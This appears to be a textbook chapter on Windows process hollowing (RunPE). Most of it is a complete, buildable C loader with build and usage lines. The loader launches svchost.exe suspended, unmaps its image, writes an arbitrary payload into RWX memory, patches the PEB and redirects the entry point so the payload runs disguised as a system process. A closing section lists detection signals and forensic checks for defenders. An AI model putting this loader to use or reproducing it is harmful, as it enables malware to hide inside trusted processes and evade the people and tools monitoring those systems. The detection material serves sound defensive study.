Process Hollowing
Process hollowing (also called "process replacement" or RunPE) takes a fundamentally different approach from Chapters 24–26. Instead of injecting into an already-running victim process, you create a new process in a suspended state, surgically remove its original executable image from memory, write your malicious payload in its place, fix up the CPU's entry point register, then resume the process. From the outside, Task Manager shows a process named svchost.exe or notepad.exe — but it's actually running your payload. The image on disk is clean; only the in-memory copy was replaced. This chapter builds a complete process hollowing implementation, explains the PE relocation patching required, and maps the detection surface.
The Hollowing Sequence — Replace the Image, Keep the Wrapper
BEFORE HOLLOWING: AFTER HOLLOWING:
───────────────────────── ──────────────────────────────────────
Process: svchost.exe (suspended) Process: svchost.exe (RUNNING)
VA Space: VA Space:
[0x400000] svchost.exe image [0x400000] YOUR PAYLOAD IMAGE
[0x7FF...] ntdll.dll [0x7FF...] ntdll.dll
[0x7FE...] kernel32.dll [0x7FE...] kernel32.dll
(other system DLLs) (other system DLLs)
Thread state: SUSPENDED Thread state: RUNNING
RIP: 0x400000 + entry point RIP: 0x400000 + YOUR entry point
What the attacker does between the two states:
──────────────────────────────────────────────────────────────────────────
1. CreateProcess(svchost.exe, SUSPENDED) ← creates hollow container
2. Get thread context (CONTEXT.Rcx = entry) ← Rcx = PEB address (x64)
3. Read PEB.ImageBaseAddress ← where svchost.exe is mapped
4. NtUnmapViewOfSection(svchost base) ← "hollow" — unmap original exe
5. VirtualAllocEx(target, preferred base, RWX) ← allocate space for payload
6. Write payload PE headers + sections ← map each section manually
7. Fix relocations (if payload base ≠ preferred) ← rebase pointers in .reloc
8. Update PEB.ImageBaseAddress = payload base ← fix PEB so loader is consistent
9. Set CONTEXT.Rcx to new PEB address ← usually unchanged
10. SetThreadContext(thread, new Rcx/entry) ← point RIP at payload entry
11. ResumeThread(thread) ← GOComplete Implementation
/* process_hollow.c — Complete process hollowing implementation
Replaces the image of a newly-created process with a payload PE.
The payload must be a valid PE executable (same architecture as target).
Build:
x86_64-w64-mingw32-gcc -O2 -o hollow.exe process_hollow.c
Usage:
hollow.exe svchost.exe C:\path\to\payload.exe
*/
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
/* ── NT function types ─────────────────────────────────────────────── */
typedef LONG NTSTATUS;
#define NT_SUCCESS(s) ((NTSTATUS)(s) >= 0)
typedef NTSTATUS (NTAPI *pNtUnmapViewOfSection)(HANDLE, PVOID);
/* ── Load payload PE from file into a heap buffer ─────────────────── */
static PBYTE load_file(const char *path, DWORD *out_size) {
HANDLE hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) return NULL;
DWORD size = GetFileSize(hFile, NULL);
PBYTE buf = (PBYTE)HeapAlloc(GetProcessHeap(), 0, size);
if (!buf) { CloseHandle(hFile); return NULL; }
DWORD read = 0;
if (!ReadFile(hFile, buf, size, &read, NULL) || read != size) {
HeapFree(GetProcessHeap(), 0, buf);
CloseHandle(hFile);
return NULL;
}
CloseHandle(hFile);
*out_size = size;
return buf;
}
/* ── Core hollowing function ────────────────────────────────────────── */
static BOOL hollow(const char *host_exe, PBYTE payload, DWORD payload_size) {
/* ── 1. Create the host process SUSPENDED ───────────────────────── */
STARTUPINFOA si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
if (!CreateProcessA(
NULL, /* use lpCommandLine */
(LPSTR)host_exe,/* e.g., "C:\\Windows\\System32\\svchost.exe" */
NULL, NULL,
FALSE,
CREATE_SUSPENDED, /* KEY: start suspended, main thread is paused */
NULL, NULL,
&si, &pi)) {
printf("[-] CreateProcess failed: %lu\n", GetLastError());
return FALSE;
}
printf("[+] Created suspended: %s (PID %lu)\n", host_exe, pi.dwProcessId);
/* ── 2. Get thread context — Rcx holds the PEB address (x64) ───── */
/*
* On x64, when a process first starts its main thread:
* Rcx = address of the PEB (Process Environment Block)
* Rdx = address of thread parameter block
* We read Rcx to find the PEB, then read PEB.ImageBaseAddress.
*
* CONTEXT_FULL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_FLOATING_POINT
*/
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(pi.hThread, &ctx)) {
printf("[-] GetThreadContext: %lu\n", GetLastError());
TerminateProcess(pi.hProcess, 1);
return FALSE;
}
printf("[+] Thread context: RCX (PEB addr) = 0x%llX\n",
(unsigned long long)ctx.Rcx);
/* ── 3. Read PEB.ImageBaseAddress from the new process ──────────── */
/*
* PEB layout (x64):
* +0x000 InheritedAddressSpace BYTE
* +0x001 ReadImageFileExecOptions BYTE
* +0x002 BeingDebugged BYTE
* +0x003 flags BYTE
* +0x004 (padding)
* +0x008 Mutant PVOID
* +0x010 ImageBaseAddress PVOID ← offset 0x10
*/
PVOID image_base = NULL;
SIZE_T read_bytes = 0;
if (!ReadProcessMemory(pi.hProcess,
(LPCVOID)(ctx.Rcx + 0x10), /* PEB + 0x10 = ImageBaseAddress */
&image_base,
sizeof(image_base),
&read_bytes)) {
printf("[-] ReadProcessMemory (PEB.ImageBaseAddress): %lu\n", GetLastError());
TerminateProcess(pi.hProcess, 1);
return FALSE;
}
printf("[+] Image base in target: %p\n", image_base);
/* ── 4. Unmap the original executable image ──────────────────────── */
/*
* NtUnmapViewOfSection removes the mapping of the original exe
* from the target process's virtual address space.
* After this call, the region where svchost.exe was loaded is freed.
* The process is "hollow" — its image is gone, but the process exists.
*/
pNtUnmapViewOfSection NtUnmapViewOfSection =
(pNtUnmapViewOfSection)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
NTSTATUS status = NtUnmapViewOfSection(pi.hProcess, image_base);
if (!NT_SUCCESS(status)) {
printf("[-] NtUnmapViewOfSection: 0x%08lX\n", status);
TerminateProcess(pi.hProcess, 1);
return FALSE;
}
printf("[+] Original image unmapped\n");
/* ── 5. Parse payload PE headers ─────────────────────────────────── */
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)payload;
PIMAGE_NT_HEADERS64 nt = (PIMAGE_NT_HEADERS64)(payload + dos->e_lfanew);
ULONGLONG preferred_base = nt->OptionalHeader.ImageBase;
DWORD image_size = nt->OptionalHeader.SizeOfImage;
DWORD headers_size = nt->OptionalHeader.SizeOfHeaders;
ULONGLONG entry_point_rva = nt->OptionalHeader.AddressOfEntryPoint;
printf("[+] Payload preferred base: 0x%llX, size: 0x%lX\n",
preferred_base, image_size);
/* ── 6. Allocate memory for the payload image in target process ─── */
/*
* Try to allocate at the payload's preferred base first.
* If that address is taken, use NULL and let the OS pick.
* If the base differs from preferred, we need to apply relocations.
*/
LPVOID new_base = VirtualAllocEx(
pi.hProcess,
(LPVOID)preferred_base, /* try preferred base */
image_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE /* RWX: we write headers, sections, then execute */
);
if (!new_base) {
/* Preferred base was taken — try anywhere */
new_base = VirtualAllocEx(pi.hProcess, NULL, image_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
}
if (!new_base) {
printf("[-] VirtualAllocEx for payload: %lu\n", GetLastError());
TerminateProcess(pi.hProcess, 1);
return FALSE;
}
printf("[+] Allocated 0x%lX bytes for payload at %p\n", image_size, new_base);
/* ── 7. Write PE headers ─────────────────────────────────────────── */
WriteProcessMemory(pi.hProcess, new_base, payload, headers_size, NULL);
printf("[+] PE headers written\n");
/* ── 8. Write each PE section ────────────────────────────────────── */
PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (sections[i].SizeOfRawData == 0) continue; /* empty sections */
PVOID dest = (PBYTE)new_base + sections[i].VirtualAddress;
PBYTE src = payload + sections[i].PointerToRawData;
DWORD sz = sections[i].SizeOfRawData;
WriteProcessMemory(pi.hProcess, dest, src, sz, NULL);
printf("[+] Written section %s at offset 0x%X\n",
sections[i].Name, sections[i].VirtualAddress);
}
/* ── 9. Fix relocations if base differs from preferred ───────────── */
ULONGLONG actual_base = (ULONGLONG)new_base;
if (actual_base != preferred_base) {
LONGLONG delta = (LONGLONG)(actual_base - preferred_base);
printf("[*] Base mismatch, applying relocation delta: 0x%llX\n", delta);
/* Find the .reloc section (BASERELOC directory entry) */
DWORD reloc_rva = nt->OptionalHeader.DataDirectory[
IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
DWORD reloc_size = nt->OptionalHeader.DataDirectory[
IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
if (reloc_rva && reloc_size) {
PIMAGE_BASE_RELOCATION reloc =
(PIMAGE_BASE_RELOCATION)(payload + reloc_rva);
while (reloc->VirtualAddress) {
DWORD n_entries = (reloc->SizeOfBlock - sizeof(*reloc)) / sizeof(WORD);
PWORD entries = (PWORD)(reloc + 1);
for (DWORD j = 0; j < n_entries; j++) {
if ((entries[j] >> 12) != IMAGE_REL_BASED_DIR64) continue;
DWORD offset = (entries[j] & 0x0FFF) + reloc->VirtualAddress;
PVOID target = (PBYTE)new_base + offset;
/* Read current pointer from target process */
ULONGLONG ptr = 0;
ReadProcessMemory(pi.hProcess, target, &ptr, 8, NULL);
/* Apply delta and write back */
ptr += (ULONGLONG)delta;
WriteProcessMemory(pi.hProcess, target, &ptr, 8, NULL);
}
reloc = (PIMAGE_BASE_RELOCATION)((PBYTE)reloc + reloc->SizeOfBlock);
}
printf("[+] Relocations applied\n");
} else {
printf("[-] No relocation table in payload — may crash at new base\n");
}
}
/* ── 10. Update PEB.ImageBaseAddress to point to new base ────────── */
WriteProcessMemory(pi.hProcess,
(LPVOID)(ctx.Rcx + 0x10),
&new_base, sizeof(new_base), NULL);
printf("[+] PEB.ImageBaseAddress updated to %p\n", new_base);
/* ── 11. Set thread start address to payload entry point ──────────── */
ctx.Rcx = (DWORD64)new_base; /* PEB still points at new_base */
ctx.Rip = (DWORD64)new_base + entry_point_rva;
ctx.ContextFlags = CONTEXT_FULL;
if (!SetThreadContext(pi.hThread, &ctx)) {
printf("[-] SetThreadContext: %lu\n", GetLastError());
TerminateProcess(pi.hProcess, 1);
return FALSE;
}
printf("[+] RIP set to 0x%llX (payload entry)\n",
(unsigned long long)ctx.Rip);
/* ── 12. Resume — the "svchost.exe" now runs our payload ────────── */
ResumeThread(pi.hThread);
printf("[+] Thread resumed — process running payload as %s\n", host_exe);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return TRUE;
}
int main(int argc, char *argv[]) {
if (argc != 3) {
printf("Usage: %s [host.exe] [payload.exe]\n", argv[0]);
return 1;
}
DWORD payload_size = 0;
PBYTE payload = load_file(argv[2], &payload_size);
if (!payload) {
printf("[-] Failed to read payload: %s\n", argv[2]);
return 1;
}
/* Validate PE signature */
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)payload;
if (dos->e_magic != IMAGE_DOS_SIGNATURE) {
printf("[-] Not a valid PE file\n");
HeapFree(GetProcessHeap(), 0, payload);
return 1;
}
BOOL result = hollow(argv[1], payload, payload_size);
HeapFree(GetProcessHeap(), 0, payload);
return result ? 0 : 1;
}
Detection — Why Hollowing Leaves Signatures
Detection signal │ How detectors find it
─────────────────────────────────────────────┼──────────────────────────────────────────────
1. CREATE_SUSPENDED + NtUnmapViewOfSection │ Sysmon EventID 1: process creation with
+ WriteProcessMemory to ImageBase │ unusual flags; EventID 8 CRT at entry point
│ after resume
2. On-disk vs. in-memory mismatch │ MOST RELIABLE SIGNAL:
svchost.exe on disk ≠ svchost.exe in RAM │ EDRs can hash the in-memory image and
│ compare to the file on disk.
│ Mismatch = confirmed hollowing.
3. PEB.ImageBaseAddress ≠ .exe load address │ The PEB's ImageBase points to our payload
│ at its allocated address.
│ If we failed to update PEB (or updated it
│ wrong), this mismatch is visible to any
│ tool that reads the PEB (Process Hacker,
│ WinDbg, Volatility).
4. Entry point not in any module │ Memory analysis: RIP points to a region
│ with no corresponding PE section
5. PE section protection mismatch │ RWX section in a "svchost.exe" process
│ (real svchost.exe sections are RX or RO)
6. Network connections from wrong binary │ svchost.exe connecting to unusual IPs
│ not in its normal connection profile
Volatility plugin: malfind
Scans all process VA spaces for:
- Executable regions not backed by any file on disk
- PE headers in unexpected locations
- RWX regions with PE magic bytes (4D 5A = "MZ")
Would immediately flag hollowed svchost.exe: finds MZ header at the
base address but the file at that path doesn't match.Questions & Answers
Why does process hollowing require CREATE_SUSPENDED — can it work with a running process?
The suspended state is essential because it freezes the main thread before it can execute any code from the original image. If you hollowed a running process (which is technically possible with NtUnmapViewOfSection + VirtualAllocEx + WriteProcessMemory), the target process's existing threads are executing instructions from the original image while you're replacing it underneath them. Those threads would crash or produce undefined behavior. With CREATE_SUSPENDED, the main thread is created but paused at the very beginning of process initialization — before any user code runs. The thread hasn't executed a single instruction yet. You can safely replace the image, update the thread's entry point via SetThreadContext, and then resume to a clean start. The suspended state is also why you get the Rcx = PEB address in the thread context: on x64 Windows, the OS populates Rcx with the PEB address specifically so that the user-mode loader (in ntdll) can initialize the process — it reads the PEB to find where to start executing.
What happens if the payload's preferred base address is already occupied in the target?
If VirtualAllocEx at the preferred base fails (because svchost.exe or a DLL already occupies that address range), you must allocate at a different base address. The payload PE image will be mapped at this new base, which differs from the ImageBase field in the PE's optional header. This means all absolute virtual addresses embedded in the image are wrong — they were compiled assuming the image would be at the preferred base. The fix is to apply base relocations — a table stored in the .reloc section that lists every absolute address in the image that needs to be adjusted by the difference (delta) between the preferred base and the actual load address. This is exactly what the Windows PE loader does for DLLs that don't load at their preferred base (ASLR relocation). If your payload was compiled without a relocation table (e.g., with /FIXED in MSVC), there's no .reloc section and you cannot rebase it — the process will crash when it tries to use any absolute address. Always compile payloads for hollowing with relocation support.
How do forensic tools detect hollowing by comparing on-disk vs in-memory images?
Windows maintains a reference to the file backing each memory-mapped PE in the VAD (Virtual Address Descriptor) tree in the kernel. For a legitimately loaded PE like svchost.exe, the VAD entry has a pointer to the file object for C:\Windows\System32\svchost.exe. Forensic tools (Volatility's dlllist, malfind, and procdump) can read this VAD entry, open the on-disk file, and compute hashes or compare bytes. After hollowing, the VAD entry for the region where our payload is mapped either has no file backing (if we allocated with VirtualAllocEx, which creates anonymous memory) or still references the original svchost.exe file but the actual memory contents are completely different. Either way, the mismatch is detectable: hash the first 0x1000 bytes from the VAD-referenced file vs the first 0x1000 bytes from memory — they won't match. This is one of the most reliable hollowing detection techniques and is implemented in every major EDR and forensic tool.